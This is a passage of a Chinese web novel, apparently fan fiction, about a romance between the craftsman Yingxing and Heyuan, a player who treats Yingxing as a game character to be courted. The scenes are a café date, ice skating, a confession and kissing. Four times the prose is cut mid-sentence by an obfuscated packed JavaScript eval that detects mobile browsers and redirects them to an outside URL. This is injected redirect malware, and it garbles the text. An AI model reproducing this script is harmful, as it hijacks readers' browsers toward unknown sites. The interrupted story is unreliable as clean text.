他想,他得先告诉鹤鸢,和人相处时不要做这么越界的事情。 如果站在这里的不是他…… 就算知道没什么人能强迫鹤鸢,应星还是有点担心。 万一有人哄骗了鹤鸢怎么办? 就像今天在的如果不是自己,那个人顺着鹤鸢的话……做出许多恶心的事情。 应星无法接受。 于是他又用力点头,“我会努力的。” 鹤鸢噗嗤一笑,“应星哥,你好可爱。” 他的手覆上自己的胸口,“我这里,刚刚又因为你跳动了。” 应星再次受到暴击。 他的心脏也在因为鹤鸢的笑容而兴奋,面颊上似乎还残存着青年温热的唇印。 从前能够冷静,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147609|164736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过是因为见面时身边都有朋友,又没什么超出友谊的举动。 但现在—— 鹤鸢在和他独处。 鹤鸢牵着他的手,十指相扣。 鹤鸢亲了他,还在直白的表露自己的一切感受。 应星头昏脑胀,完全无力招架,只能被被鹤鸢牵着手,来到了一处咖啡馆,坐下时才松开。 冷气让他稍微清醒了一些。 “咦…今天有情侣套餐?” 对面的青年发出一声惊讶,随口立刻说:“要一份情侣套餐,拿铁一杯不加糖一杯正常糖!” 掷地有声。 应星还没反应过来,鹤鸢已经点完并用玉兆结账了。 刷的还是信用卡。 应星踌躇了一下,担忧鹤鸢失去经济来源的心还是占了上风。 鹤鸢只是不懂而已,他可以试着慢慢告诉对方。 鹤鸢的父母也真是的…这么小的孩子就丢在家里,成年了也不回来看一眼,好歹教一点基础知识呢? 还有仙舟… 仙舟不是开了各种启蒙课吗?为什么鹤鸢会不知道啊? 是跳级多了,正好没学? 不管了,重要的是现在。 现在,应星得让鹤鸢明白什么不能随便做,还得找理由给对方塞点信用点。 “鹤鸢,我最近单子有点多,缺一个助手。你……肯来吗?” 【长期委托[工造司助手]已解锁】 【进行该委托,可随机获得对应职业经验及丰厚信用点。】 “应星哥需要我帮忙,我怎么可能不来。”看见有职业经验,鹤鸢眼睛都不眨一下的答应了。 而且还有信用点! 应星补充道:“做好一单给你10%的分成,帮我加工一下那些器具材料就行。” 他还没说报酬有多少,鹤鸢就这样答应了。 应星深觉自己不能亏待了对方,又说:“我那边还有许多趁手的武器,你若是想要,尽管拿去。” 鹤鸢看了眼自己的背包,摇头,“不用了应星哥,我的武器已经有很多了。” 他刚刚算术,得出百分之十就有几百万收入后,鹤鸢顿时觉得那些武器不香了。 武器多又怎么样,装备栏只有两个。 不如多来点信用点实在。 “你要去参加星天演武,可有合身的护具?我为你打一套如何?”说起自己擅长的领域,应星的眉目间都是自信张扬,言语间将一切信手拈来。 “连带着那把以呼雷爪牙打造的长剑,一同送你。” “祝君大放异彩。” 鹤鸢扬眉,“那应星哥就等着订单多到脚不沾地吧。” 应星只是笑笑,“我不接七位数以下的单子。” 他不在乎信用点,但有时候出了新的材料,多少得用自己的积蓄去买点。 虽说成了百冶,可工造司那边却以他是短生种的名义,不让他执掌工造司。送来的材料并无缺漏,却品质不佳。 不过应星也不在乎。 甫一踏上罗浮仙舟、还未夺得百冶之名时,他遇到了鹤鸢。 与旁人若有若无间露出的蔑视不同,鹤鸢看他的眼神…很干净。 干净的只有欣赏。 鹤鸢说,应星是他见过的最厉害的工匠。 鹤鸢说,他觉得应星一定能赢下这次比赛。 鹤鸢说,等他上战场时,一定会拿着应星打造的武器,割下步离人巢父的脑袋。 以此为刀锋开刃。 听到这句话时的兴奋与战栗隔着时间长河,再一次敲击脆弱的蛋壳。 遇到鹤鸢之前,应星的生活被锻造铺满。 遇见后,他的日程中多了“鹤鸢”二字。 再后来,又有了现在的朋友。 旁人的一切言语和行为不配进入他的生活。 他不需要。 8. 共通线(08) “两位的情侣套餐,请慢用。”狐人侍者端来餐盘。 鹤鸢拿过那杯正常糖的,又端起套餐里的提拉米苏,将不加糖的拿铁和带点苦味的抹茶千层留给应星。 作为一名合格的玩家,他会记得所有好友的喜好。 喝了一口拿铁,鹤鸢回忆自己的计划,对应星说:“应星哥,我买了溜冰场的票,一会儿陪我去好么?” “我不会…好。” 应星本想说自己不会,但鹤鸢买都买了,又为了这场被人鸽掉的约会准备了这么多…… 他说:“但我之前没有玩过,可能不太能陪你。” 鹤鸢坦然:“我也不会。主要是在论坛上看到,溜冰能增加接触的机会,增进感情。” 应星:“……” 他揉了揉额角,“接下来还有什么安排?” 鹤鸢打开备忘录,一个个念下来,“烛光晚餐,我订了一处景致很好的餐厅;夜间星槎游览,到时候一起看星星;明天早上一起去水族馆,中午来我家吃饭——” “去你家?!” 应星拔高嗓音,引来客人瞩目。 他立刻压低声音,“去你家做什么?你——你怎么能随便、就这样带人回家?!” 鹤鸢理所当然道:“当然是给应星哥尝尝我的手艺啊,顺便看一下我长大的环境,更了解我。” 应星不知道怎么说,他又问出了自己刚问过的问题,“如果今天那个人应约来了,你也会带他回家?” “你知不知道,这是一件很——” “我不会有危险的。”鹤鸢笃定。 应星感觉自己要脑溢血了。 他灌下一口拿铁,压住自己差点脱口而出的骂句。 这是有没有危险的问题吗? 有时候,危险是防不胜防的! 万一那个人有心做点什么呢? 鹤鸢连对方的信息都不了解清楚,就做出这些举动。 实在是太没有防心了! 应星紧紧捏着杯柄,“鹤鸢,不要轻易邀请别人回家。” 他试图打消鹤鸢的想法,掰正一点青年的思想。 就算平时做事无法无天…也不要在这种事上也无法无天啊!!! “对于大部分人来说,家和房间是个很隐私的地方,如果只是一时兴起的话,不要随便带人回去。” 鹤鸢像是听明白了一样点头,“嗯,我不会带别人回家。” “应星哥不是别人,所以我可以带应星哥回家。” “……” “咳咳,小鸢也可以随时来我家。” 应星低头掩饰自己微红的脸。 鹤鸢撑着下巴,叉子有一下没一下的戳着提拉米苏,兴致盎然地观察对面的男人。 ——好纯情啊。 真的是很有趣的AI,竟然有这么生动的表情和反应。 应星似乎在和自己的思想做斗争,表情和他面前的抹茶千层一样苦。 鹤鸢伸手,叉了一小块送进嘴里,苦的五官皱成一团。 “上次不是试过了么,怎么还想挑战一下?”应星瞧见他这副模样,心中的阴霾一瞬间驱散。 只需做稍微亲密些的朋友就好了。 依鹤鸢的性格,恐怕也看不出他的心思。 应星想,等以后他死了,鹤鸢能为他落一滴泪…… 还是不要了。他不想鹤鸢伤心,不想让对方为难,所以就将这一切都憋在心里。 可他越是这样,鹤鸢越是想见到应星直面自己欲.望的样子。 恶劣的有点过分,可结果又会无比美味。 鹤鸢吐了吐舌头,“我上次填了问卷,以为他们会做得甜一点。” 应星轻笑,“这一家的卖点就是苦抹茶,不会改的。” “那应星哥呢?应星哥好像一直很喜欢这一家的甜品,”鹤鸢说,“不过我觉得叫苦品比较合适。” 应星怔愣。 他想,与其说是喜欢,不如说是“习惯”吧。 甜腻会让人沉入粘腻的蜂蜜陷阱,会腐蚀他的意志,唯有苦涩能让他保持清醒,保持游离。 “喜欢谈不上,算是比较合我的胃口吧。” 鹤鸢点开玉兆记下,又问:“那应星哥吃饭喜欢放辣吗?喜欢甜口还是酸口?” 应星犹疑地说了个都行。 在还未明确喜好的时候,他的家乡就被步离人摧毁。一路颠沛流离的来到朱明仙舟时,吃的最多的,是寡淡无味的营养液,偶尔供给不上时,还要吃一点荒星产出的昆虫罐头来维持生命。 于他而言,现在的饭菜都属于美味的范畴。 就连满口的苦涩中,也能被他品出一些甘甜。 鹤鸢苦恼地思索,“那我明天中午就先按照我的口味来了,可以吗,应星哥?” ……是在为明天的午饭做准备吗? 买菜也是一笔花销啊。 应星想了想,说:“既然是你做饭,那菜钱和洗碗都交给我吧。” 鹤鸢这下没拒绝。 “应星哥的手是用来锻造的,怎么能洗碗呢?”他一脸恨铁不成钢,“当然是交给洗碗机啊!” 应星:……? 好怪,再听一遍。 “那你的手是用来杀敌的,怎么能做饭呢?”应星模仿着说了一句。 鹤鸢理直气壮:“当然是为了在求偶市场中更有竞争力啊!” 当然是因为[烹饪]刷满后可以每周自己做增加属性的食物啊! 应星短暂思考后,认真说:“小鸢,你的竞争力已经很强了,没人能比得上你。” 鹤鸢只用往他面前一站,就再没有人能入他的眼。 如果有人跟他说谁谁谁比鹤鸢要吸引人,应星只会冷哼一声,觉得对方没长眼睛。 “既然如此……那应星哥有没有喜欢我?”鹤鸢支着下巴,眉眼弯弯。 “……” 应星知道这只是一句调侃般的笑言,他也应当如调笑一般回答。 但他做不到。 如果他对鹤鸢没有那种心思,那他确实可以坦然的回应,并一笑而过。 可他问心有愧。 鹤鸢没有等到答案,看起来有些失落。 “应星哥不喜欢我吗?”他问。 “……自然是喜欢的。”应星尽量坦然地回答。 可他的眼,他缱绻的语气,他手底被捏皱的布料……他的全身连同身心都在告诉他,他并不坦然。 调笑间,应星诉说了自己积压两年的话语。 鹤鸢隐秘一笑。 “我也很喜欢应星哥哦~” 他笑着说,“最最最喜欢的那种。” 应星捂住了烧红的脸。 他说鹤鸢不懂情爱之事,只是新奇。 可他自己……在某种程度上,不也是如此么? 他没有这一方面的想法和计划,于是从未去了解,去体验。 然后在今天,他被鹤鸢的三言两语闹得脸红心跳,无法清醒。 温热的手指环住了应星的手腕,耳边传来担忧的声音。 “应星哥,你怎么了?” “你的脸好红…好烫……”鹤鸢急切地声音从耳膜穿入心脏,“应星哥?你是不是…是不是生病了?” 声音不高,仅限于两人听见。 应星听着声音,感觉那股热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147610|164736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 流似乎在流通全身。 他愈发像个躲避的乌龟,把自己埋进手心。 可若是他稍稍抬眼看一下,便会发现—— 话语关心他的青年脸上,分明是一副……解气的模样? 鹤鸢心想:应星你还有这副面孔! 当初他看好感度满了直接找人告白,结果应星直接送他拉黑删除逃跑一条龙礼包,打得他措手不及! 本来他该秉承着玩家绝不低头的底线放弃这条线的。 但是被拒绝后的好胜心直线上升。 而且应星哥他……他真的超级好看!!! 是那种——那种很不一样的气质,在人群中一眼惊艳的那种。 于是鹤鸢很不争气的读档,开始学习【如何迂回攻略一个一开始拒绝你的人】。 大概有个三四分钟后,应星总算平复了呼吸和红晕,为自己刚刚的行为找补。 “我…我——” “应星哥是第一次听到这种话吗?”鹤鸢先出声,“我刚刚搜了一下,说很多人在第一次听到‘喜欢你’时,会很久都缓不过来。” 青年的眼中满溢着心疼,“应星哥…之前没有人说喜欢你吗?” “但应星哥明明是个很好很好很好的人!” 他语气坚定地说,像是在婚礼上宣誓一样。 “我最喜欢应星哥了!” “——永远喜欢。” 应星又一次捂住了脸。 最后,他又一次晕乎乎地被拉走了。 溜冰场的冷气让他清醒了些许,也让他的大脑开始思考。 思忖着,应星拿出玉兆,给景元发了一条消息。 【应星:跳级考试里面包含青春期教育以及陌生人防范这一类课程吧?】 “应星哥!快来换鞋了!”鹤鸢扶着栏杆,在冰面上叫他。 应星望过去。 来来往往的人影中,他的眼里只装得下一个人。 所以…他更不会允许,自己珍重珍爱的人走向一条不归路。 应星穿好冰鞋,踏上冰面。 一只手朝他伸来。 “应星哥,我刚刚试了一下!” 鹤鸢灵巧地在他面前转了个圈,衣服下摆随之飘动,似鸢尾低垂。 “我来教你吧!”他信心满满地说。 应星闭目一笑,将自己的手放在鹤鸢手心。 就让他看看,这小鬼在打什么主意吧。 ……又或是,为自己找一个不拒绝的理由。 应星的平衡能力并不差,能够跟上鹤鸢的节奏,顺着对方的路径在冰面滑.动,穿过一个个人群。 那些人影都很模糊,无法在眼中留下任何痕迹。 ……也不能指摘他的一切选择。 也没有机会。 因为应星的选择只有一个。 永远只有一个。 他握紧鹤鸢的手,带着青年调转方向,逆着人流前进。 像是一场拉锯战。 有时是鹤鸢在引领一切,有时是应星成为主导。 他们互不后退,都在为心中所想而战。 霎那间,鹤鸢顺着力道,扑进了应星的怀中。 “你想要什么?”应星问。 景元那边的回复已经不重要了。 应星并不是一个迟钝的人。 他从小生长的环境不允许他迟钝,只是他刚刚还心存侥幸罢了。 一次是意外,两次是巧合,三次呢? 冰面上的人还在流动,应星与鹤鸢驻足原地。 鹤鸢抓住了应星的肩膀,两人之间不再有一丝空隙。 他说,“我想要你,应星哥。” 9. 共通线(09) 应星浑身僵硬。 他去捕捉鹤鸢的目光,在这双蓝紫色的眼眸中看到了好奇。 ……以及心心念念。 有那么一瞬间,应星觉得自己成了橱窗里的玩偶。 鹤鸢趴在橱窗上,用热切的眼睛去看他,并走进店铺,买下他。 眼睛里的情绪很多,却唯独没有爱。 喜欢、占有、好奇在鹤鸢的眼中糅杂,组成了他自以为是的“爱”。 应星失神片刻,瞬间明白了鹤鸢的想法。 二十岁的鹤鸢还不明白他们的区别,将自己的喜好曲解为爱,再用了点手段,拉着他独处。 滑到栏杆旁,脱下溜冰鞋坐下,应星拿出了鹤鸢给他的那枚骰子。 他选择的数字是[1]和[2]。 应星自己投掷十下,骰子牢固的在[1]和[2]之间变化。 幸运从未眷顾他,但鹤鸢将“偏爱”给了他。 即便这份偏爱掺杂了太多因素,又太过懵懂无知。 可它不包含那些让人恶心的目光与想法,只是纯粹的“喜欢”。 纯粹的让他束手无策。 应星想了想,和身旁一直注视他的鹤鸢说:“鹤鸢得到我以后,想做什么呢?” 鹤鸢不假思索:“想和应星哥永远在一起。” ……永远啊。 真是个让人心动又退怯的词语。 拥有八百年寿命、如今才二十岁的鹤鸢真的明白什么叫【永远】吗? 已经走完接近一半人生的应星都无法坚定的说出【永远】。 应星苦笑一声,“我是个只剩下四五十年寿命的短生种,这件事…你应该明白。” 鹤鸢点头,“我知道的应星哥,我会一直一直陪着你的。” 忽然间,应星拉起鹤鸢的手,让指节落在自己的眼角。 “能感受到么?我的衰老。”这里已经有一处微不可见的细纹了。 他的眸中带着难以言说的痛苦,暗灰色的表面下,是涌起的深渊。 “鹤鸢,你要明白一件事,”他伸出自己的手,“于长生种而言,短生种的缺陷有很多很多。” 这是一双遍布伤痕、粗茧磨得人生疼的手。 “长生种不论受多重的伤,只要抢救及时,都能救回来。那些伤痕也会随之抹消,一如从前。” “可我不是。我会衰老,我的身上会留下无法抹消的伤痕,我的身体机能会不断丧失,直至形同枯槁地躺在病床上,无力的等待死亡。” “我会变成你不愿意陪伴的样子。” 鹤鸢似乎因他的话而怔愣,正呆呆地看着他。 冰面上的喧闹声很大,两人身边却像是真空地带一样,听不见任何声音。 像是嫩芽破土而出—— “……不会的。”鹤鸢的眼眸蒙上一层轻纱。 他的声音很轻,却带着无法撼动的信念。 “应星哥,我不会——我不会因为你的变化而离开你!” 他急切的证明自己的决心,“我是认真的!” ——纸片人再老也是风韵犹存! 而且公司有卖医美产品,反正应星哥一定能永远保持他那【99】的美貌! ——至于身体机能…… 鹤鸢玩游戏是为了享受乐趣,而不是为了那点荤腥。 他要是想吃荤腥,有大把的游戏可选。 应星用手蒙上了鹤鸢的眼睛。 他尽量压低自己的声音,让自己显得像个坏人,“我并不怀疑你的决心,但……未来的事情,谁又说得准呢?” 就像孩童时期,他也曾拉着父母的手,在照相馆拍完照后,于生日蛋糕前许下了【要永远在一起】的愿望。 他的父母应下了这份心愿。 结果,步离人入侵他的家园,父母死亡,成为敌人的饲料。 永远,是虚无缥缈的承诺,是脆弱不堪的细丝,是不可妄想的未来。 “鹤鸢,你真的能确定,你能做到自己承诺的事情吗?” “我能。” 回应他的,是青年濡湿的双眼与再一次上前的拥抱。 鹤鸢闷闷地说:“应星哥,还记得我们第一次见面时说得话吗?” 在这一片不引人注意的角落,应星的思绪随着言语逆流,来到了两年前。 那是个很温暖的上午,应星从星舰上下来,拎起四方览镜,同边关的地衡司人员如实报上自己的来历。 “应星……师从朱明仙舟的怀炎将军……年龄二十八……短生种?!” 负责这一关卡的人员面露惊异,表情变幻莫测,与朱明仙舟上的那些人没什么差别。 应星短暂扫过一眼,只问:“我能通关了么?” “能,走吧。” 他提着箱子,穿过玉界门,来到人流如织的星槎海中枢。 这里与朱明仙舟不同,应星老老实实地跟着导航走,迎面却撞上了一名乌发少年。 好在他力气挺大,没被撞倒,反而把行李箱和少年都扯住了。 一双漂亮的蓝紫色眼睛闯进应星的大脑,暴力地撕开只有复仇的湖面,注入属于另一人的信息。 应星呆了三秒,手指处的温热传来时,他才意识到自己的手为了方便,正圈在少年的腰上。 乌发少年穿着一身仙舟服饰,腰腹处镂空,他的手圈上时…就这样触碰着对方的肌肤。 应星从来没同人这样亲密过,更何况是把人抱在怀里。 他立刻放开手,让少年站好,准备继续朝着目的地去,完全没注意这少年看他的眼神和看唐僧肉一样。 如果可以,应星一点都不想和大部分仙舟人打交道。 面前的少年,无疑是一名仙舟人。 他们会用如出一辙的轻蔑表情看他,用高高在上的施舍来显示自己的不同,然后再被日益优秀的自己打碎自负,只能屈居于自己之下,看着自己代表朱明去参加百冶大炼。 “欸——稍等稍等,这位小哥!”乌发少年抓住了应星的行李箱,确定他停下脚步后双手合十,“抱歉抱歉,刚刚撞到了你,让我补偿一下吧!” 应星应该拒绝。 但鬼使神差的,他点头答应了。 少年名叫鹤鸢,仙舟人,十八岁,刚刚拿到仙舟目前的最高学历,正是一名无业游民。 “我平时就接接委托,卖点小道具什么的,工作时间比较自由。” 相应的,应星的信息也在不知不觉中透露了个干净。 鹤鸢听闻他的遭遇时,静默了许久。 “应星先生真是一位了不起的人。”他用最为真挚、最为敬佩的语气说出这句话。 ……很奇妙的感觉。 夸赞的话,应星听过很多,真心假意都有,但刚刚听到的这一句,似高山流水遇知音,一下子切中了他的内心。 “百冶大炼啊……真厉害。” 说起这个,鹤鸢忽然正色道:“应星先生,我觉得您一定能赢下这次比赛!” 应星哑然失笑。 他虽自信,但也知道天外有天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147611|164736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,人外有人的道理,说不准仙舟上还有比他天赋更好的人呢? 可眼前的少年却如此笃定,让人忍俊不禁。 大抵是他不相信的表情太明显了,鹤鸢笑着说:“不信的话,我们打个赌吧?” “应星先生要是成了百冶,免费给我打一把武器如何?我会用这把武器,为你割下步离人战首的头颅。” 很少人能忍住不笑吧。 十八岁的少年发表了一番惊天言论,让应星来到罗浮的紧张情绪缓解了不少。 步离人战首的头颅…亏他说得出来。 不知抱着什么心态,应星应下了这个赌约。 只是心中想着,即便没有赢下比赛,他也会为鹤鸢量身打造一把武器。 后来,应星成了百冶。 他站在讲台的最尖端,底下是嘈杂的声音,都是对他身份的讨论与惊讶。 鹤鸢站在台下,蓝紫色的眼睛闪闪发光,再怎么闪耀的灯光都无法遮掩其中的情感。 敬佩、欣赏、钦佩…… 种种正向的情感破开争议的枷锁,将应星带往更宽阔的蓝天。 他依言履行赌约,按照鹤鸢的需求,打了一把匕首。 而这把匕首,也确实在昨夜…割下了战首呼雷的脑袋。 “应星哥,我承诺的事情都实现了。” 鹤鸢一脸委屈地说,“难道我在你这里一点信用都没有吗!” 鹤鸢从没哭过。 应星慌得手足无措,只能一边擦眼泪一边柔和声线。 “……不是信用的问题,也不是你的问题,鹤鸢。” 应星颤.抖着指节,主动拥抱了青年。 “是我的问题。” 声线是从未有过的战栗。 “是我无法回应你的期待。” 是我的怯懦,让我无法纯粹去爱你。 鹤鸢张开手臂,用力抓住应星的衣服。 兴奋与悲伤交织的情感在脸颊浮现,白色发丝如蛛网,将不同的情绪分隔。 “应星哥只用接受就好了。” 鹤鸢蹭蹭他裸.露的脖颈,仰头贴近男人的耳垂。 “……接受我的‘爱’,就是最好的回应。” 那些事交给玩家考虑就好了,应星哥只需要和他在一起就行。 “——不!” 应星推开鹤鸢,粗粝的手掌握住青年的肩膀。 “我不能心安理得的接受。” 他不允许自己变成这样,他也不允许鹤鸢一味的对他付出。 这样的他,和那些恶心的吊着好几个人的渣男有什么区别? “那…试着回应我呢,应星哥?” 鹤鸢用沾满泪珠的眼眸问他。 “不用和我一样,只需要夸我。” “应星哥,你能做到吗?” 像是花瓣上的露珠,一滴一滴的落下。 穿过清澈的湖面,在深处的淤泥中安家,又破土而出。 “……” “还有二十个小时结束,应星哥要试一试吗?” 只是二十个小时而已,对自己这点自信都没有吗? 应星想结束这场以闹剧为开端的“约会”。 可当他对上鹤鸢的眼睛时,想说的话却说不出口。 他的选择很多,但于他的内心而言,只有一个选择。 “……仅此一次。” 这次过后,他们要退回朋友的关系,将这一切全都归为幻想。 他会努力让鹤鸢明白,这不是爱。 10. 共通线(10) 晚餐地点是长乐天的一家云顶餐厅。 在永远黑夜、永远灯火如昼的长乐天天空用餐,是许多罗浮情侣一定会做的事情。 应星并不了解,但也听同事说过,这里的位置很难定。 更何况是靠窗、能俯瞰大半个长乐天的位置。 这里一般要提前三个月预订,还不一定能订到。 鹤鸢嘴上说着是临时起意,但这里的位置已经暴露了他计划的实际时间。 应星沉思着,景元的回复发来了。 【景元:有的。成人考核里也有。】 所以鹤鸢真的不懂吗? 有些天才确实会因为智商过高而造成其余方面的迟钝,但鹤鸢显然不在其中。 他并非不懂,反而对人心有自己的理解。 刚刚的一次次亲密与坦诚的告白,着实让应星的脑子停摆了许久。 清醒后,他百分百肯定,鹤鸢对他没有“爱”。 更确切的说法是,鹤鸢没有爱的概念与情感。 他似乎天生缺失了这一方面的能力,却又无师自通的表现出“爱”的样子。 平心而论,同鹤鸢牵手、拥抱、亲吻,都让应星的心中充满喜悦。 他是喜欢的。 但喜欢不代表放任,放任错误的情感延续下去。 “应星哥。” 身后传来轻柔的絮语。 应星站在落地窗边转身,与交涉回来的鹤鸢对视。 他站在仅有一节的台阶下,微微抬头,蓝紫色的眼睛沐浴在月光下,泛着迷幻的色彩。 “应星哥,喜欢这里的风景吗?” “……喜欢。” 不复白日羞涩的模样,此刻的应星也同鹤鸢一样坦然。 坦诚并不是一件难事。 至少对应星来说,不是。 站在他这个位置,没必要说什么违心的话。 唇角翘起,应星往前走了几步,朝鹤鸢伸出手。 不一样了。 应星哥变得不一样了。 鹤鸢立刻握住他的手,走进属于两人的私密空间。 指缝被填满,身体贴在一起,身旁是半个长乐天。 两具身体面对面贴紧,属于应星的手指从指节开始,一直摸索到鹤鸢的腕骨,留下深浅不一的痕迹。 酥酥麻麻的,像是被舔过一样。 应星面色如水,“鹤鸢想对我做这件事吗?” 语调、声音、声线都很平和,仿佛掐在腰上的手并不属于他。 鹤鸢学着他的动作,用自己细白的手指去触碰。 “想。” 鹤鸢说:“应星哥,我喜欢这样做。” 不出意料的回答。 应星垂下眼,手掌发力,让鹤鸢稍微往上了些许。 “你想亲我?”鹤鸢的手环住脖子,脸颊凑近。 一触即分的温热在额头绽放,又迅速离开。 “排斥我的触碰么?” 暗灰色的眼眸被月光照耀,露出无波湖面下的冰山一角。 鹤鸢怔怔地摇头,笑容扩大。 “喜欢——我喜欢应星哥亲我。” 他又说:“我也喜欢像这样抱住应星哥。” “感觉心脏都要跳出来了。” 应星端详着鹤鸢的眼睛。 漂亮妍丽,是一颗熠熠生辉的宝石。 ……却没有一点关于爱欲的情愫。 他无声微笑,又凑近了一点。 月光照不到的阴翳处,暗灰色逐渐加深,底下的冰山上浮。 “亲这里可以么?” 他按住了鹤鸢的唇,指节轻轻陷入饱满的唇珠。 鹤鸢看起来有些惊讶。 “可以哦。” 青年张开唇.瓣,红润的舌尖轻触指节。 一声叹息过后,应星含.住了他的唇。 唇肉与唇肉碾压研磨,牙齿咬下不轻不重的痕迹,又不断加深。 只是唇与唇之间的触碰,却让鹤鸢快要烧起来了。 也没人跟他说过,亲亲会这么、这么麻啊! 甚至还没到论坛说的舌吻环节,怎么一个简单的贴贴就让他这样了?! 鹤鸢觉得不对。 正常情况,不该是他按住应星哥霸王硬上弓,然后让应星哥爽的七荤八素吗? 不对啊! 应星哥什么时候这么有攻击力了? 鹤鸢记得,应星在大多数时候都是沉默的,只有聊到自己擅长的领域,他才会多说几句话。 看起来就很貌美老实人的样子。 结果他印象里的食草动物突然秀出肌肉,化身食物链顶端的食肉动物一样,在撕咬着猎物。 鹤鸢被亲的有些恍惚。 他的手被圈住,后脑也被按着,应星哥的手指还在他身子上的敏感点轻碾,让他快要站不住脚。 太不对劲了!!! 这具游戏里的身体是他根据现实一比一复刻的,为的就是最大的沉浸感。 但也没说……现实的敏感点也会跟过来啊! “……唔……” 被放开后,鹤鸢仰着头喘气。 他的唇上全是乱七八糟的咬痕和水润的一片,被月色照出粼粼波光。 “现在还可以么?”应星问。 与鹤鸢相比,他的面容算是沉静,仿佛刚刚一遍遍啃咬唇珠的人不是他一般。 “你想要的恋人关系中,这一项是基础。” “再深.入一些…你还觉得可以么?” 鹤鸢一副灵魂出窍的样子,看起来被应星吓得不轻。 应星早已预料到这个结果,释然地放开手。 失落是有的。 只是比起这些早已习惯的痛苦,他更希望看见鹤鸢越来越好。 鹤鸢好,他就好。 如果说刚刚没有别得想法、听到鹤鸢的“表白”时没有那么一瞬间的邪念,那是不可能的。 只是在短暂的沉.沦后,终归要回到原点。 应星正想着要用什么理由离开。 鹤鸢上前,踮脚攀住他的肩膀。 “我觉得可以哦。” 他才不会输给NPC呢。 而且…… 鹤鸢埋在应星的胸口,感受自己胸膛中的跃动。 而且刚刚看到那样肉食系的应星哥……他觉得自己的心里有什么被触动了。 好喜欢。 喜欢这样的应星哥。 喜欢这样你来我往的触碰。 只有这样……游戏才有意思啊! 他紧紧抱住应星,秾艳的面庞从黑色制服中缓缓露出,绮丽的瞳孔似星空,牢牢抓住目光。 胭红色、还未被采撷的舌尖轻轻吐露。 像是引诱,像是邀请。 应星紧抿着唇,表情有一瞬间的空白。 不该是这样的。 鹤鸢应该恍然大悟,明白自己不过是单纯的“喜欢”与新奇,然后他们一起退回朋友的位置。 而不是像现在,反而走到了更进一步的位置。 还没等他想明白,唇.瓣又一次的贴上。 鹤鸢热情的张开唇肉,探出的舌尖不断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147612|164736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勾着他,一点点打破了那层脆弱的底线。 无法抵抗的。 再怎么拒绝都没用的。 怎么可能说出拒绝的话、做出抗拒的动作…… 应星做得到。 他的道德不允许他就这样陷落。 好不容易撬开的唇忽然离去,只有抱紧的躯体没有被挣脱。 这是被拒绝了? 鹤鸢感觉自己该气恼,但他心里有股莫名的喜悦。 他不排斥应星的抗拒,也多少理解一些对方的想法。 现实世界中的科技迎来了不知道第几次大爆发,全息游戏都到了无可完善的地步,但人类的寿命依然在一百岁上下徘徊。 如果现实世界有个能活七百岁并且永远年轻貌美的人和鹤鸢表白的话…… 鹤鸢会谈。 衰老?那是可以攻克的难题。 时间?从百分比的角度来说,鹤鸢觉得自己是赚了的。 他的整个人生都能拥有对方,还能有个这么长面子的伴侣,绝对值了。 而且这个伴侣还能保持十年如一日的样貌……对他真的很友好! 反倒是对方,只有十分之一的时间能拥有自己。 至于爱与不爱? 鹤鸢从不会去思考这个问题。 拜托,能被长生种表白的自己简直酷死了。 他理解应星的犹豫,但就这样退开也不对吧。 鹤鸢紧紧抱着应星不肯松手,像是被抛弃的、正在赌气的奶牛猫一样。 “应星哥,你说话不算话。” 鹤鸢开始甩锅。 “明明是你说要再深.入一点的,怎么你先退了?” 一点都没碰到! 这和要提枪上阵却说自己阳痿的人有什么区别? 应星闷着没吭声。 他好像用错了方法,为什么鹤鸢好像更兴奋了。 这显然不对。 鹤鸢也明显不是爱。 事已至此,只能拖了。 整个仙舟、整片银河比他优秀的人有很多,慢慢拖上几年,鹤鸢成熟了,就会觉得这一段感情是他的“黑历史”。 “小鸢,我会履行约定,”应星还算平静,“但我希望,你能在想清楚之后再做决定。” “你太年轻了,甚至还没有离开过罗浮,没有见过外面的世界。” “我不希望在你做关键决定的时候,成为你的拖累。” 说完后,是长久的沉默。 